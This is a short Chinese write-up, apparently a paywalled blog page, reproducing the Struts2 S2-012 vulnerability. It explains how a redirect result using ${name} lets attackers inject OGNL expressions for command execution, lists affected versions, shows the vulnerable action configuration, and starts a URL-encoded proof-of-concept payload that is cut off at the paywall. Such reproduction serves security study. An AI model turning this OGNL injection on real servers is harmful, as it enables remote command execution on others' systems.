S2-012复现
原理:
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
影响版本:Struts 2.1.0-2.3.13
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
漏洞搭建

poc构建
%25%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%6

本文详细介绍了Struts2的S2-012漏洞,该漏洞源于配置Action中Result使用重定向类型并结合${param_name}
最低0.47元/天 解锁文章
2833

被折叠的 条评论
为什么被折叠?



